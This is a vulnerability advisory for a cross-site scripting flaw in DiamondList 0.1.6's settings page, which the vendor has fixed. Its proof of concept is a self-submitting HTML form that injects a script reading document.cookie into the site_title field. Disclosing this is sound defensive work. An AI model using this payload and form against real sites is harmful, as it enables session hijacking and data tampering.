Vulnerability ID: HTB22508
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diamondlist.html
Product: DiamondList
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist )
Vulnerable Version: 0.1.6 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/user/main/update_settings" script to properly sanitize user-supplied input in "setting[site_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/user/main/update_settings" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="wishlists, applications" />
<input type="hidden" name="setting[site_description]" value="Powered by DiamondList" />
<input type="hidden" name="setting[theme]" value="default" />
<input type="hidden" name="commit" value="Save Settings" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version